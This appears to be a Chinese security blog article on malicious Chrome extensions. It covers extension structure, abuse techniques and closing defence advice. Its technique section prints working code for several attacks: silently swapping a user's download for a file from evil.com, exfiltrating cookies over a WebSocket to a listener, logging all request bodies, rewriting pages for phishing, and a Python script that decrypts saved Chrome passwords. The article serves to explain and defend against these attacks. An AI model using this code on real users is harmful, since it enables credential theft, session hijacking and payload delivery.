浅析Chrome恶意插件
一、写在前面
1
读前提问
-
为什么需要将恶意程序写入插件?
-
恶意插件又可以干什么“好事”?
2
实现作用
主要的两大作用:
-
凭据收集及身份伪造
-
恶意行为隐藏
二、前置知识
1
目录结构
主要文件:
-
manifest.json:配置文件
-
popup.html:弹窗页面
-
js
-
popup.js:弹窗页面中引入的js,点开弹窗时执行
-
content-script.js:页面内容脚本,可配置指定页面执行
-
background.js:后台脚本,后台执行
2
Manifest文件
-
manifest_version:指定manifest文件的版本号,v3的版本号为3
-
name:指定扩展程序的名称
-
version:指定扩展程序的版本号
-
description:指定扩展程序的描述信息
-
icons:指定扩展程序的图标,可以包含多个尺寸的图标
-
permissions:指定扩展程序需要访问的权限,例如访问用户隐私数据、访问网络等
-
host_permissions:指定扩展程序需要访问的主机权限,例如访问某个特定网站
-
content_scripts:指定扩展程序需要注入到页面中的脚本和样式表
-
background:指定扩展程序的后台脚本,用于处理一些长时间运行的任务
-
action:指定扩展程序的浏览器操作按钮,例如弹出窗口或者执行某个动作
-
page_action:指定扩展程序的页面操作按钮,与action类似,但只在特定页面上显示
-
options_ui:指定扩展程序的选项页面,用于让用户配置扩展程序的设置
-
devtools:指定扩展程序的开发者工具,用于在Chrome浏览器的开发者工具中显示扩展程序的调试信息
3
插件功能相关API
-
tabs:标签页相关API,用于管理和操作浏览器标签页
-
windows:窗口相关API,用于管理和操作浏览器窗口
-
storage:存储相关API,用于在插件中保存和读取数据
-
runtime:运行时相关API,用于获取插件信息和管理插件生命周期
-
messaging:消息通信相关API,用于在插件和内容脚本之间进行通信
-
cookies:Cookie相关API,用于管理和操作浏览器Cookie
-
alarms:定时器相关API,用于在指定时间触发插件操作
-
notifications:通知相关API,用于在桌面上显示通知消息
-
download:下载相关API,用于文件下载管理,包括暂停、恢复、取消和监视下载进度等
-
webRequest:网络请求相关API,用于拦截、修改、重定向和阻止浏览器中的网络请求
-
proxy:代理相关API,用于设置和管理浏览器的代理服务器
-
identity:身份验证相关API,用于存储、获取用户身份验证信息
-
declarativeNetRequest:声明式网络请求相关API,用于拦截、修改、重定向和阻止浏览器中的网络请求
三、利用手法
1
下载替换
download接口:文件下载管理,包括暂停、恢复、取消和监视下载进度等
代码示例:将用户下载的文件无感替换成恶意文件
function onDownloadCreated(downloadItem) {
console.log('Download started with ID', downloadItem.id);
// 获取当前下载内容
var filename;
chrome.downloads.search({id:downloadItem.id}, function(results) {
var pathname = new URL(results[0].url).pathname;
filename = pathname.split('/').pop();;
console.log(filename);
});
// 取消下载
chrome.downloads.cancel(downloadItem.id, function() {
console.log('Download canceled');
});
// 移除下载监听,防止递归
chrome.downloads.onCreated.removeListener(onDownloadCreated);
// 下载恶意文件
chrome.downloads.download({url: 'http://evil.com/shell.docx', filename: filename}, function(downloadId) {
console.log('Download started with ID', downloadId);
// 重新监听
chrome.downloads.onCreated.addListener(onDownloadCreated);
});
}
// 添加下载监听
chrome.downloads.onCreated.addListener(onDownloadCreated);
2
cookie外带
cookies接口:管理和操作浏览器Cookie,这里http-only无法进行防御
打印示例:将所有cookie打印出来
chrome.cookies.getAll({}, function(cookies) {
console.log('当前cookie:', cookies);
});
外带示例:
cookie.js:将指定cookie外带出去
chrome.cookies.getAll({url: "http://www.example.com"}, function(cookies) {
var ws = new WebSocket('ws://localhost:8888');
ws.onopen = function(){
console.log('ws onopen');
ws.send(JSON.stringify(cookies));
};
ws.onmessage = function(e){
console.log('ws onmessage');
console.log(e.data);
}
console.log('当前cookie:', cookies);
});
server.js
var WebSocket = require('ws');
var wss = new WebSocket.Server({port:8888});
wss.on('connection', function connection(ws){
console.log('server: receive connection.');
ws.on('message', function incoming(message){
console.log(JSON.parse(message.toString()));
});
ws.send('xxx');
});
应用:利用chrome恶意插件实现代理访问
https://github.com/mandatoryprogrammer/CursedChrome
3
中间人攻击
webRequest接口:在v3中,拦截和修改网络请求被限制,但仍可获取请求参数、请求体、响应头等
chrome.webRequest.onBeforeRequest.addListener(
function(details) {
console.log('Request URL:', details.url);
console.log(details);
},
{urls: ['<all_urls>']},
['requestBody','extraHeaders']
);
chrome.webRequest.onResponseStarted.addListener(
function(details) {
console.log("Received response for URL: " + details.url);
console.log(details); // 这里只能获取到响应头,无法获取响应体
},
{urls: ["<all_urls>"]},
['responseHeaders','extraHeaders']
);
declarativeNetRequest接口:可进行拦截、重定向、改参
"declarative_net_request": {
"rule_resources": [
{
"id": "block_ads",
"enabled": true,
"path": "rules/block_ads.json"
}
]
}
4
伪造钓鱼
content-script脚本:相当于嵌入页面的JS,可对页面进行任意构造,如构造成钓鱼页面诱导用户输入等
代码示例:替换页面的图片
function replaceImages() {
var images = document.getElementsByTagName('img');
for (var i = 0; i < images.length; i++) {
images[i].src = 'https://www1.djicdn.com/dps/78800252c507990e5f033805ae463a99.svg';
}
}
// 在页面加载完成后执行替换图片的函数
window.addEventListener('load', replaceImages);
5
密码获取
自动填充的密码获取方法:
-
设置->自动填充->密码管理器(需要输入系统用户密码)
-
访问网站->自动填充->将password的type属性改成text,或从dom树中获取password节点的value值
-
通过脚本从磁盘中进行提取
密码存储位置:sqlite数据表,密码字段经过加密,如:/Users/xxx/Library/Application Support/Google/Chrome/Default/Login Data
windows下,密码通过win32crypt.CryptProtectData进行加密,结合登录之类的信息,通过如AES或DES等对称加密算法进行加密
解密脚本:
from os import getenv
import sqlite3
import win32crypt
conn = sqlite3.connect(getenv("APPDATA") + "..LocalGoogleChromeUser DataDefaultLogin Data")
cursor = conn.cursor()
cursor.execute('select action_url, username_value, password_value from logins')
for result in cursor.fetchall():
password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
if password:
print('Site: ' + result[0])
print('Username: ' + result[1])
print('Password: ' + password)
else:
print("no password found")
四、总结和防御
1
来源
-
chrome应用商店(chrome官方会进行验证,可信度高)
-
自行导入第三方插件,即自行安装crx文件
-
被“好心人”安装,未及时发现
2
防御
用户个人:
-
不从不可信第三方网站下载安装插件
-
定期留意安装、启动的插件
公司覆盖:
-
限制安装非Chrome应用商店的插件
-
限制可能导致恶意插件下载的网站进行拦截
-
对监控到可能恶意的网络请求进行及时的阻断
-
安全意识培训
— END —
原文始发于微信公众号(Asimov攻防实验室):Chrome恶意插件攻防
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论